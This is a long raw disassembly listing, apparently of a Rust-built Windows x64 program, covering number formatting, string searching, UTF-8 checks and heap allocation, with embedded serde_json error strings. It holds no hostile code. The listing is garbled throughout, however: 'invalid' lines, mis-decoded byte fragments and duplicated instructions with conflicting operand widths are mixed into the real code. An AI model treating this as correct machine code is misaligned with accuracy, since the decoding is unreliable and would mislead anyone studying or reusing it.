lea r8, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
movzx edx, word [r8 + rdx*2]
mov bh, 0x14
adc al, 0x50
adc al, 0x50
mov word [rax + 1], dx
shr rsi, 0x3f
out dx, al
invalid
add rsi, 3
jmp 0x14006e67d
cmp rdx, 9
jbe 0x14006e671
lea r8, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
movzx edx, word [r8 + rdx*2]
mov word [rax], dx
mov dword [rax], edx
mov dword [rax], edx
shr rsi, 0x3f
or rsi, 2
or esi, 2
or esi, 2
add ch, bl
sbb eax, 0x8830c180
or byte [rax - 0x3f], cl
shr esi, 0x3f
jmp 0x14006e67d
add cl, 0x30
mov byte [rax], cl
shr rsi, 0x3f
shr esi, 0x3f
shr esi, 0x3f
inc rsi
add r13, rsi
jmp 0x14006e683
add dl, 0x30
mov byte [rax], dl
shr rsi, 0x3f
out dx, al
invalid
inc rsi
out dx, al
invalid
add rsi, rcx
mov r13, rsi
mov ebp, esi
mov rax, r13
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
ret
int3
int3
mov eax, ecx
enter 0xffffffffffffc148, 0xffffffffffffffe8
and byte [rdi], cl
test byte [rax + 0x48000000], ch
add byte [rax], al
add byte [rax - 0x46], cl
std
invalid
invalid
test byte [rcx], dl
ja 0x14006e686
shr rax, 0x20
je 0x14006e759
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x46], cl
std
invalid
add byte [rax], al
movabs rdx, 0xabcc77118461cefd
ja 0x14006e686
stosd dword [rdi], eax
mov rax, rcx
mul rdx
shr rdx, 0x1a
imul eax, edx, 0xfa0a1f00
cli
cli
add ecx, eax
mov eax, 0xd1b71759
imul rax, rcx
imul eax, ecx
imul eax, ecx
shr rax, 0x2d
imul r9d, eax, 0x2710
enter 0x2710, 0
add byte [rcx + rbp - 0x37], al
sub ecx, r9d
enter 0x2710, 0
add byte [rcx + rbp - 0x37], al
sub ecx, r9d
imul r9, rax, 0x68db9
imul ecx, eax, 0x68db9
shr r9, 0x20
jmp 0x109702c12
and byte [rbp + 0x69], al
leave
adc byte [rdi], ah
add byte [rax], al
imul r9d, r9d, 0x2710
sub eax, r9d
imul r9d, ecx, 0x147b
add byte [rcx - 0x3f], al
jmp 0x111722c1a
invalid
add byte [rcx - 0x3f], al
jmp 0x111722c1a
sub ecx, r10d
movzx ecx, cx
imul r10d, eax, 0x147b
jnp 0x14006e727
add byte [rax], al
jnp 0x14006e727
add byte [rax], al
shr r10d, 0x13
imul r11d, r10d, 0x64
imul ebx, edx, 0x64
imul ebx, edx, 0x64
sub eax, r11d
movzx eax, ax
lea r11, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
movzx ecx, word [r11 + rcx*2]
mov bh, 0xc
invalid
inc byte [rsi]
add byte [rcx + 0xf], al
mov bh, 0xc
mov word [r8 - 2], cx
mov word [r8 - 2], cx
mov word [r8 - 2], cx
movzx ecx, word [r11 + r9*2]
movzx ecx, word [rbx + rcx*2]
mov word [r8 - 4], cx
movzx eax, word [r11 + rax*2]
mov word [r8 - 6], ax
movzx eax, word [r11 + r10*2]
mov word [r8 - 8], ax
add r8, 0xfffffffffffffff8
mov rcx, rdx
cmp ecx, 0x2710
jb 0x14006e813
mov edx, 0xd1b71759
lea r9, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
nop word cs:[rax + rax]
invalid
add byte [rcx - 0x50f0b738], cl
ret 0xc148
mov eax, ecx
imul rax, rdx
shr rax, 0x2d
imul r10d, eax, 0xffffd8f0
add r10d, ecx
imul r11, r10, 0x51eb851f
shr r11, 0x25
jmp 0x14006e7c4
imul esi, r11d, 0x64
sub r10d, esi
movzx r10d, word [r9 + r10*2]
mov word [r8 - 2], r10w
inc byte [rdi + 0xf]
mov bh, 0x14
pop rcx
mov word [r8 - 4], r10w
push rax
cld
add r8, 0xfffffffffffffffc
cmp ecx, 0x5f5e0ff
loopne case.0x1400685d6.127
add eax, 0xb877c189
cmp eax, 0x63
jbe 0x14006e7fa
movzx ecx, ax
shr ecx, 2
imul ecx, ecx, 0x147b
shr ecx, 0x11
imul edx, ecx, 0x64
sub eax, edx
movzx eax, ax
lea rdx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
lea edx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
movzx eax, word [rdx + rax*2]
mov word [r8 - 2], ax
add r8, 0xfffffffffffffffe
mov eax, ecx
cmp eax, 9
jbe 0x14006e81c
mov eax, eax
lea rcx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
movzx eax, word [rcx + rax*2]
mov word [r8 - 2], ax
jmp 0x14006e822
mov eax, ecx
cmp eax, 0x63
ja 0x14006e7cd
jmp 0x14006e7fa
add al, 0x30
mov byte [r8 - 1], al
pop rsi
ret
mov rcx, qword [rsp + 0x50]
movzx ecx, byte [rcx + r12]
bt r10, rcx
jb 0x14006ebc6
nop word [rax + rax]
lea rcx, [r12 + rbp]
cmp rcx, rdx
jae 0x14006eccf
mov r8, r12
sub r12, rax
cmp r11, 0xffffffffffffffff
cmovne rbx, rax
movzx ecx, byte [r14 + r8]
bt r10, rcx
jae 0x14006eba0
mov rcx, qword [rsp + 0x40]
cmp rcx, rbx
mov rdi, rbx
cmovb rdi, rcx
cmp r11, 0xffffffffffffffff
cmove rdi, rcx
lea rsi, [rdi - 1]
lea r13, [r12 - 1]
mov rcx, qword [rsp + 0x68]
add rcx, r12
mov r10, rdi
nop word cs:[rax + rax]
sub r10, 1
jb 0x14006ec60
cmp rsi, rax
jae 0x14006f183
lea r9, [rdi + r13]
cmp r9, rdx
jae 0x14006f18f
movzx r9d, byte [r15 + rdi - 1]
cmp r9b, byte [rcx + rdi]
mov rdi, r10
je 0x14006ec00
sub r8, qword [rsp + 0x40]
add r8, r10
mov rcx, rax
cmp r11, 0xffffffffffffffff
cmp ebx, 0xffffffff
cmp ebx, 0xffffffff
mov r13, qword [rsp + 0x48]
je 0x14006ec44
mov rbx, rcx
mov r12, r8
sub r12, rax
cmp r12, rdx
mov r10, qword [rsp + 0x60]
invalid
jb 0x14006eb8a
invalid
jmp 0x14006eccf
nop word [rax + rax]
cmp r11, 0xffffffffffffffff
mov r9, rbx
cmove r9, rax
mov rcx, qword [rsp + 0x50]
lea r10, [rcx + r12]
mov rcx, qword [rsp + 0x40]
and al, 0x40
and al, 0x40
mov r13, qword [rsp + 0x48]
nop
cmp rcx, r9
jae 0x14006ee49
cmp rcx, rax
jae 0x14006f1a0
lea rsi, [r12 + rcx]
cmp rsi, rdx
jae 0x14006f1bd
movzx esi, byte [r15 + rcx]
lea rdi, [rcx + 1]
cmp sil, byte [r10 + rcx]
mov rcx, rdi
stc
stc
je 0x14006ec80
mov rcx, qword [rsp + 0x58]
sub r8, rcx
cmp r11, 0xffffffffffffffff
jne 0x14006ec41
test dl, cl
add byte [rax], al
add byte [rax - 0x4b], al
add dword [rax - 0x75], ecx
and al, 0x38
mov bpl, 1
mov rcx, qword [rsp + 0x38]
cmp qword [rcx + 8], r13
mov rsi, qword [rsp + 0x30]
jbe case.0x140023569.616
mov rcx, qword [0x1400f0220]
xor edx, edx
adc eax, 0xd2310008
mov r8, rsi
test r13, r13
je 0x14006ed13
mov r9, r13
call qword [sym.imp.kernel32.dll_HeapReAlloc]
mov rsi, rax
test rax, rax
jne case.0x140023569.616
mov ecx, 1
mov rdx, r13
call fcn.1400a42a0
ud2
call qword [sym.imp.kernel32.dll_HeapFree]
mov esi, 1
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
movzx eax, byte [0x1400f02c0]
mov rcx, qword [0x1400f0220]
movzx eax, byte [0x1400f02c0]
mov rcx, qword [0x1400f0220]
test rcx, rcx
jne 0x14006ed4a
call qword [sym.imp.kernel32.dll_GetProcessHeap]
add eax, dword [rax]
test rax, rax
je 0x14006f266
add byte [rax], al
mov rcx, rax
mov qword [0x1400f0220], rax
mov r8d, 0x28
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
add eax, dword [rax]
add eax, dword [rax]
test rax, rax
je 0x14006f266
ror byte [rdi], 0x84
add eax, 0x31000005
leave
xor ecx, ecx
test bpl, bpl
cmovne r15, rcx
cmovne r14, rcx
mov qword [rax], 0
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rax + 8], esi
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rax + 8], esi
mov dword [rax + 8], esi
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], r14
mov qword [rax + 0x20], r15
add rsp, 0xd8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
test r9, r9
je 0x14006edd0
invalid
and dword [rax - 0x75], ecx
mov word [rax + rdi*4], fs
add byte [rax], al
add byte [rax - 0x75], cl
mov rdx, qword [rsp + 0xc0]
cmp r9, rdx
jae 0x14006edde
mov rcx, qword [rsp + 0xb8]
mov rdx, qword [rsp + 0xc0]
cmp r9, rdx
jae 0x14006edde
cmp byte [rcx + r9], 0xc0
jge 0x14006ede4
invalid
cmp al, 9
sar byte [rbp + 0x19], 0xe9
sbb ecx, ebp
sbb ecx, ebp
jmp 0x14006f04b
jnp 0x14006edd0
add byte [rax], al
add byte [rbp - 0x7c], al
ror byte [rdi], 0x84
idiv dh
invalid
test r8b, r8b
je 0x14006eccf
xor r12d, r12d
jmp 0x14006ee49
jne 0x14006f04b
add byte [rax], al
movzx eax, byte [rcx + r9 - 1]
mov dh, 0x44
or edi, edi
invalid
dec dword [rdi]
mov dh, 0xc0
movzx eax, al
test al, al
jns 0x14006ee3d
movzx r10d, byte [rcx + r9 - 2]
movzx edx, byte [rcx + rcx - 2]
cmp r10b, 0xbf
jg case.0x14002753a.560
movzx r11d, byte [rcx + r9 - 3]
movzx ebx, byte [rcx + rcx - 3]
std
cmp r11b, 0xbf
jg 0x14006ee24
movzx esi, byte [rcx + r9 - 4]
cld
and esi, 7
shl esi, 6
and r11d, 0x3f
or r11d, esi
or ebx, esi
or ebx, esi
jmp 0x14006ee28
and r10d, 0x1f
jmp 0x14006ee33
and r11d, 0xf
shl r11d, 6
jrcxz 0x14006ee32
and r10d, 0x3f
or r10d, r11d
fiadd dword [rcx - 0x3f]
loop 0x14006ee3d
invalid
shl r10d, 6
invalid
and eax, 0x3f
or eax, r10d
test r8b, r8b
je 0x14006effc
mov r12, r9
lea r8, [r12 + 9]
and al, 9
mov rcx, r8
sub rcx, r13
sub ecx, ebp
sub ecx, ebp
mov rdx, 0xfffffffffffffff7
sub rdx, r12
mov rax, qword [rsp + 0x30]
xor byte [rsi - 0x73], cl
adc al, 0x20
ret 0xfff7
xor byte [rsi - 0x73], cl
adc al, 0x20
add r10, 9
xor r9d, r9d
mov r11, r8
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x40], cl
mov rax, r8
mov rsi, r13
add rax, r9
je 0x14006eea1
invalid
invalid
cmp r13, rax
jbe 0x14006eeb0
cmp byte [r10 + r9], 0xbf
jle 0x14006f245
mov rsi, r13
sub rsi, r11
test rsi, rsi
jne 0x14006eec5
invalid
invalid
jmp 0x14006eedd
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov rsi, rcx
add rsi, r9
jne 0x14006f245
add byte [rax], al
add byte [rax], al
lea rsi, [rdx + r13]
test rsi, rsi
invalid
je 0x14006eedd
div byte [rax + rbx + 0x43]
movzx ebx, byte [rdx + rcx]
add bl, 0xd0
cmp bl, 0xa
jae 0x14006eedd
inc r11
inc r9
inc ecx
inc ecx
dec rdx
jmp 0x14006ee80
lea r10, [r8 + r9]
lea edx, [rax + rcx]
mov rcx, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x30]
add rcx, r10
mov rdx, r13
test rax, rax
je 0x14006ef1c
mov rdx, r13
mov edx, ebp
sub rdx, r10
jbe case.0x14003d841.473
cmp byte [rcx], 0xbf
jg 0x14006ef1c
cmp dword [rdi - 0x72b7e181], edi
add eax, 0x70543
invalid
invalid
invalid
lea rax, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.108_srcerror.rsEOF_while_parsing_a_listEOF_while_parsing_an_objectEOF_while_parsing_a_stringEOF_while_parsing_a_valueexpected__:_expected_____or____expected_____or___expected_identexpected_valueexpected____invalid_escapeinvalid_numbernumber_out_of_rangeinvalid_unicode_code_pointcontrol_character__u0000_u001F__found_while_parsing_a_stringkey_must_be_a_stringinvalid_value:_expected_key_to_be_a_number_in_quotesfloat_key_must_be_finite__got_NaN_or___inf_lone_leading_surrogate_in_hex_escapetrailing_commatrailing_charactersunexpected_end_of_hex_escaperecursion_limit_exceeded_at_line__column
add eax, 0x89480007
and al, 0x20
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x30]
mov rdx, r13
xor byte [rcx + rcx*4 - 0x16], cl
mov r8, r10
jmp 0x14006f25c
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rbp - 0x1e], dh
jne case.0x14003d841.472
jne case.0x14003d841.472
mov bpl, 1
cmp rdx, 8
jb 0x14006ecd2
add dword [rax - 0x7d], ecx
cli
or byte [rdi], cl
invalid
movabs rdx, 0x206e6d756c6f6320
cmp qword [rcx], rdx
mov edx, 0x6c6f6320
jne 0x14006ef9e
and byte [rax + 0x39], cl
adc dword [rdi], ecx
jne 0x14006ecd2
mov rdx, r13
sub rdx, r9
add rdx, 0xffffffffffffffef
out dx, eax
jne 0x14006ecd2
invalid
mov r11, qword [rsp + 0x30]
lea rdi, [r9 + r11]
add rdi, 0x11
adc dword [rcx - 0x7d], ecx
rcl dword [rcx], 0x4d
adc dword [rbp - 0x73], ecx
pop rdx
invalid
sbb dword [rax - 0x7d], ecx
invalid
adc dword [rcx - 0x7d], ecx
rcl dword [rcx], 0x4d
adc dword [rbp - 0x73], ecx
pop rdx
invalid
adc dword [rbp - 0x73], ecx
pop rdx
or byte [rcx + rcx*4 - 0x1d], cl
mov rbx, r12
neg rbx
mov r14, r11
mov esi, ebx
mov esi, ebx
nop word cs:[rax + rax]
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov r15, r12
mov rsi, r13
out 0x4c, eax
mov esi, ebp
add r15, r9
je 0x14006efad
invalid
cmp r13, r15
jbe 0x14006efa0
cmp byte [rdi + r12], 0xbf
jle 0x14006f277
mov gs, esp
add al, byte [rax]
invalid
mov gs, esp
add al, byte [rax]
add byte [rcx + rcx*4 - 0x12], cl
mov rsi, r13
sub rsi, r14
jmp 0x14006efad
test byte [rax], al
add byte [rax], al
add byte [rax], al
cmp r12, rdx
jne 0x14006f277
add al, byte [rax]
invalid
invalid
add al, byte [rax]
add byte [rax - 0x73], cl
lea esi, [rbx + rdx]
lea esi, [rbx + rdx]
test rsi, rsi
je 0x14006efcf
movzx esi, byte [rdi + r12]
add sil, 0xd0
cmp sil, 0xa
or dh, byte [rbx + 0xe]
invalid
or dh, byte [rbx + 0xe]
inc r14
inc esi
inc r9
dec rdx
ror dword [rax - 1], 0xca
inc rdi
jmp 0x14006ef70
invalid
add r9, r12
cmp r9, r13
jb 0x14006ecd2
invalid
dec dword [rbp + 0x39]
ret 0x820f
invalid
invalid
cmp r10, r8
jb 0x14006f072
add byte [rax], al
test r8, r8
je 0x14006f063
cmp r8, r13
jae 0x14006f061
mov rdx, qword [rsp + 0x30]
cmp byte [rdx + r8], 0xc0
add al, al
add al, al
jge 0x14006f063
jmp 0x14006f072
cmp eax, 0x110000
je 0x14006eccf
invalid
add byte [rcx], dl
add byte [rdi], cl
test al, cl
cld
invalid
mov r12, 0xffffffffffffffff
cmp eax, 0x80
add byte [rdx + 0x1e], dh
add byte [rdx + 0x1e], dh
mov r12, 0xfffffffffffffffe
mov esp, 0xfffffffe
invalid
cmp eax, 0x800
jb 0x14006f033
invalid
xor r12d, r12d
cmp eax, 0x10000
setb r12b
invalid
or r12, 0xfffffffffffffffc
cld
invalid
cld
add r12, r9
je 0x14006edd9
cmp r12, rdx
jae 0x14006f0bc
cmp byte [rcx + r12], 0xbf
cmp byte [rcx + riz], 0xbf
jg case.0x14003d841.488
mov r9, r12
loope 0x14006f094
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_strpattern.rs
lea eax, [0x1400de6c8]
jbe 0x14006f046
invalid
mov qword [rsp + 0x20], rax
xor r8d, r8d
call fcn.1400a4aa0
add byte [rdi], cl
invalid
add byte [rdi], cl
or esi, dword [rbp + 0xf]
jne 0x14006f072
test rax, rax
je case.0x140042585.427
invalid
cmp dword [rdi - 0x72b7df81], edi
add eax, 0x703ff
add eax, dword [rdi]
invalid
lea rax, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.108_srcerror.rsEOF_while_parsing_a_listEOF_while_parsing_an_objectEOF_while_parsing_a_stringEOF_while_parsing_a_valueexpected__:_expected_____or____expected_____or___expected_identexpected_valueexpected____invalid_escapeinvalid_numbernumber_out_of_rangeinvalid_unicode_code_pointcontrol_character__u0000_u001F__found_while_parsing_a_stringkey_must_be_a_stringinvalid_value:_expected_key_to_be_a_number_in_quotesfloat_key_must_be_finite__got_NaN_or___inf_lone_leading_surrogate_in_hex_escapetrailing_commatrailing_charactersunexpected_end_of_hex_escaperecursion_limit_exceeded_at_line__column
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
mov rcx, qword [rsp + 0x30]
mov rdx, r13
xor byte [rcx + rcx*4 - 0x16], cl
mov r9, r10
call fcn.1400a4aa0
adc bl, byte [rdx + 3]
add byte [rdi], cl
invalid
adc bl, byte [rdx + 3]
add byte [rdi], cl
or esi, dword [rbp - 0x20]
sub r10, r8
je 0x14006ecd2
test byte [rdi], dh
cld
invalid
invalid
ret 0x840f
test byte [rdi], dh
cld
invalid
add r8, qword [rsp + 0x30]
and al, 0x30
movzx eax, byte [r8]
mov dh, 0
cmp eax, 0x2d
je 0x14006f0d5
sub eax, 0xf8832c74
sub esi, dword [rbp + 0x31]
dec r10
je 0x14006ecd2
test byte [rbx], bl
cld
invalid
invalid
cmp eax, 0x2b
jne 0x14006f0df
test byte [rbx], bl
cld
invalid
inc r8
jmp 0x14006f0df
jne 0x14006f048
cmp byte [rcx + r12 - 1], 0
inc dword [rax]
jns 0x14006ee49
cmp byte [rcx + r12 - 2], 0xbf
invalid
jmp 0x14006ee49
je 0x14006f0d0
invalid
cmp r10, 1
cmp edx, 1
je 0x14006ecd2
test bl, dh
sti
invalid
dec dword [rcx - 0x7d]
cli
adc dword [rbx + 0x5b], esi
cmp r10, 0x11
jae 0x14006f140
xor eax, eax
xor r14d, r14d
movzx ecx, byte [r8 + rax]
add ecx, 0xffffffd0
cmp ecx, 9
ja 0x14006ecd2
xchg edi, edx
sti
invalid
invalid
xchg edi, edx
sti
invalid
dec dword [rbx - 0x73]
adc al, 0xb6
lea rdx, [r14 + r14*4]
mov ecx, ecx
lea r14, [rcx + rdx*2]
lea esi, [rcx + rdx*2]
inc rax
inc eax
inc eax
cmp r10, rax
jne case.0x14003e0a6.485
mov r8, r9
sub r8, r11
invalid
fmul dword [rdi]
invalid
jb 0x14006f290
add dword [rax], eax
add byte [rbp - 0x7b], cl
fisttp dword [rdi]
test byte [rsi + 0x4d000000], bh
mov esi, 0x4d000000
cmp ebp, ebx
test r11, r11
je 0x14006f1e0
invalid
add byte [rax], al
invalid
cmp r13, r11
jbe 0x14006f1da
mov rax, qword [rsp + 0x30]
and al, 0x30
and al, 0x30
cmp byte [rax + r11], 0xc0
jge 0x14006f1e0
invalid
movsd dword [rdi], dword [rsi]
add byte [rax], al
invalid
lea esp, [rbp - 0x17000000]
push rax
add dword [rax], eax
add byte [rcx], dh
leave
jmp 0x14006f290
add byte [rax], al
xor ecx, ecx
mov edi, 0xa
xor r14d, r14d
cmp r10, rcx
je 0x14006f10d
movzx esi, byte [r8 + rcx]
xor al, 8
mov rax, r14
mul rdi
seto dl
add esi, 0xffffffd0
cmp esi, 9
or dword [rdi], ecx
xchg dword [rcx - 5], ebp
sti
invalid
invalid
sti
invalid
test dl, dl
jne 0x14006ecd2
sti
invalid
invalid
sti
invalid
inc rcx
add r14, rax
jae case.0x1400477cd.325
jmp 0x14006ecd2
dec dword [rbp + rcx*4 + 5]
hlt
lea r8, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_strpattern.rs
mov rcx, r10
jmp 0x14006f1b3
invalid
lea r8, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_strpattern.rs
mov rcx, r9
call fcn.1400a4430
xchg edx, eax
push rdx
add eax, dword [rax]
xor dh, ah
invalid
ud2
mov rcx, qword [rsp + 0x40]
cmp rcx, rax
cmp ecx, eax
cmp ecx, eax
cmovbe rcx, rax
lea r8, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_strpattern.rs
add eax, 0x6f3cd
add eax, 0x6f3cd
mov rdx, rax
call fcn.1400a4430
add byte [rdi], cl
invalid
add byte [rdi], cl
or ecx, dword [rax - 0x75]
and al, 0x40
mov rcx, qword [rsp + 0x40]
add rcx, r12
cmp rdx, rcx
cmp edx, ecx
cmova rcx, rdx
retf 0x8d4c
add eax, 0x6f3c5
call fcn.1400a4430
add eax, dword [rax]
retf 0x8d4c
add eax, dword [rax]
ud2
jne 0x14006f290
add byte [rax], al
test r15, r15
je 0x14006f1ee
cmp r13, r9
cmp ebp, ecx
jne 0x14006f290
add r11, qword [rsp + 0x30]
lea rcx, [rsp + 0x70]
xor byte [rax - 0x73], cl
and al, 0x70
mov rdx, r11
call fcn.140042360
cmp byte [rsp + 0x70], 0
and al, 0x70
add byte [rdi], cl
test edi, eax
cli
invalid
invalid
invalid
and al, 0x70
add byte [rdi], cl
test edi, eax
cli
invalid
mov r15, qword [rsp + 0x78]
and al, 0x78
cmp r13, r12
mov rcx, qword [rsp + 0x38]
and al, 0x38
and al, 0x38
jae 0x14006f221
xor ebp, ebp
jmp 0x14006ecd7
cli
invalid
invalid
cli
invalid
test r12, r12
je 0x14006f237
cmp r13, r12
jbe 0x14006f237
invalid
or al, 0x48
mov eax, dword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
cmp byte [rax + r12], 0xbf
jle 0x14006f2ae
cmp al, 0x20
mov edi, 0x894c777e
invalid
mov qword [rcx + 0x10], r12
xor ebp, ebp
adc byte [rcx], dh
in eax, dx
mov r13, r12
jmp 0x14006ecd7
lea rcx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.108_srcerror.rsEOF_while_parsing_a_listEOF_while_parsing_an_objectEOF_while_parsing_a_stringEOF_while_parsing_a_valueexpected__:_expected_____or____expected_____or___expected_identexpected_valueexpected____invalid_escapeinvalid_numbernumber_out_of_rangeinvalid_unicode_code_pointcontrol_character__u0000_u001F__found_while_parsing_a_stringkey_must_be_a_stringinvalid_value:_expected_key_to_be_a_number_in_quotesfloat_key_must_be_finite__got_NaN_or___inf_lone_leading_surrogate_in_hex_escapetrailing_commatrailing_charactersunexpected_end_of_hex_escaperecursion_limit_exceeded_at_line__column
lea ecx, [0x1400df430]
mov qword [rsp + 0x20], rcx
and al, 0x20
mov rcx, qword [rsp + 0x30]
mov rdx, r13
mov edx, ebp
mov r8, rax
mov r9, r13
call fcn.1400a4aa0
add eax, dword [rax]
add eax, dword [rax]
ud2
mov ecx, 8
mov edx, 0x28
add byte [rdx + 0x28], bh
call fcn.1400a42a0
sub edx, dword [rax + 3]
add byte [rdi], cl
or ecx, dword [rax - 0x73]
add eax, 0x701e2
loop 0x14006f27d
invalid
invalid
push rax
add eax, dword [rax]
ud2
lea rax, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.108_srcerror.rsEOF_while_parsing_a_listEOF_while_parsing_an_objectEOF_while_parsing_a_stringEOF_while_parsing_a_valueexpected__:_expected_____or____expected_____or___expected_identexpected_valueexpected____invalid_escapeinvalid_numbernumber_out_of_rangeinvalid_unicode_code_pointcontrol_character__u0000_u001F__found_while_parsing_a_stringkey_must_be_a_stringinvalid_value:_expected_key_to_be_a_number_in_quotesfloat_key_must_be_finite__got_NaN_or___inf_lone_leading_surrogate_in_hex_escapetrailing_commatrailing_charactersunexpected_end_of_hex_escaperecursion_limit_exceeded_at_line__column
loop 0x14006f27d
invalid
add byte [rax - 0x77], cl
and al, 0x20
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x30]
and al, 0x30
mov rdx, r13
mov r8, r15
jmp 0x14006f25c
lea rax, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.108_srcerror.rsEOF_while_parsing_a_listEOF_while_parsing_an_objectEOF_while_parsing_a_stringEOF_while_parsing_a_valueexpected__:_expected_____or____expected_____or___expected_identexpected_valueexpected____invalid_escapeinvalid_numbernumber_out_of_rangeinvalid_unicode_code_pointcontrol_character__u0000_u001F__found_while_parsing_a_stringkey_must_be_a_stringinvalid_value:_expected_key_to_be_a_number_in_quotesfloat_key_must_be_finite__got_NaN_or___inf_lone_leading_surrogate_in_hex_escapetrailing_commatrailing_charactersunexpected_end_of_hex_escaperecursion_limit_exceeded_at_line__column
add byte [rax - 0x77], cl
and al, 0x20
and al, 0x20
mov qword [rsp + 0x20], rax
and al, 0x20
mov rcx, qword [rsp + 0x30]
mov rdx, r13
mov edx, ebp
mov edx, ebp
mov r8, r11
call fcn.1400a4aa0
add eax, dword [rax]
add eax, dword [rax]
ud2
lea rcx, str.assertion_failed:_self.is_char_boundary_new_len__rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_alloc_src_string.rs
lea r8, [0x1400e0480]
lea eax, [0x1400e0480]
adc qword [r15], rax
adc dword [rdi], eax
add byte [rbp + rcx*4 + 5], cl
invalid
lea eax, [0x1400e0480]
invalid
mov edx, 0x30
call fcn.1400a4530
add byte [rax], al
add al, ch
push 0x52
add eax, dword [rax]
ud2
int3
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
mov rsi, rcx
mov esi, ecx
mov rax, qword [rcx]
cmp rax, 1
invalid
je 0x14006f2f7
add dword [rdx + rdx + 0x48], esi
test eax, eax
invalid
test rax, rax
sal byte [rbp + 0x63], 0x48
cmp dword [rsi + 0x10], 0
invalid
jne 0x14006f34d
cmp qword [rsi + 0x10], 0
add byte [rsp + rbx*2 + 0x48], dh
je 0x14006f34d
mov rdi, qword [rsi + 8]
mov edi, dword [rsi + 8]
jmp 0x14006f33b
mov rax, qword [rsi + 8]
mov rax, qword [rsi + 8]
mov eax, dword [rsi + 8]
mov ecx, eax
and ecx, 3
loope 0x14006f303
loope 0x14006f303
cmp ecx, 1
stc
add dword [rbp + 0x48], esi
jne 0x14006f34d
lea rdi, [rax - 1]
lea edi, [rax - 1]
mov rbx, qword [rax - 1]
mov ebx, dword [rax - 1]
mov r14, qword [rax + 7]
mov esi, dword [rax + 7]
mov rcx, rbx
mov ecx, ebx
call qword [r14]
cmp qword [r14 + 8], 0
or byte [rax], al
or byte [rax], al
je 0x14006f33b
cmp qword [r14 + 0x10], 0x11
jb 0x14006f329
adc dword [rdx + 4], esi
mov rbx, qword [rbx - 8]
mov ebx, dword [rbx - 8]
mov rcx, qword [0x1400f0220]
mov ecx, dword [0x1400f0220]
or byte [rax], al
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x39ff5
mov rcx, qword [0x1400f0220]
fimul word [rsi]
or byte [rax], al
xor edx, edx
mov r8, rdi
clc
clc
call qword [sym.imp.kernel32.dll_HeapFree]
lahf
add eax, dword [rax]
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rsi
add rsp, 0x28
add esp, 0x28
add esp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp qword [sym.imp.kernel32.dll_HeapFree]
lahf
add eax, dword [rax]
int3
rol byte [rax], 0
add byte [rax - 0x77], cl
mov rsi, rdx
mov rsi, rdx
mov rdi, qword [rcx]
mov edi, dword [rcx]
mov edi, dword [rcx]
mov qword [rsp + 0x50], 1
and al, 0x50
add dword [rax], eax
add byte [rax], al
invalid
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
and al, 0x58
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0xb0], 0x20
mov dword [rsp + 0xb0], 0x20
add byte [rax], al
add byte [rax], ah
add byte [rax], al
add dh, al
mov byte [rsp + 0xb8], 3
test byte [rax + rdi*4], ah
add byte [rax], al
add byte [rbx], al
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x90], 0
mov dword [rsp + 0x90], 0
add byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
test byte [rax + rdx*4], ah
mov dword [rsp + 0x90], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x50
lea rax, [rsp + 0x50]
mov qword [rsp + 0xa0], rax
lea rax, fcn.1400093b0
